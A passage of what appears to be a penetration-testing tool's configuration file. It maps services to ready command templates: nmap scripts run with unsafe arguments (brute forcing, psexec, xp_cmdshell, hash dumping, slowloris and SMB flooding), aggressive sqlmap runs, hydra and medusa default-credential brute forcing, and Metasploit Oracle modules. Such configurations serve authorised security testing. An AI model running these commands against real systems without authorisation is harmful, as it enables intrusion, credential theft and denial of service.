--script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", 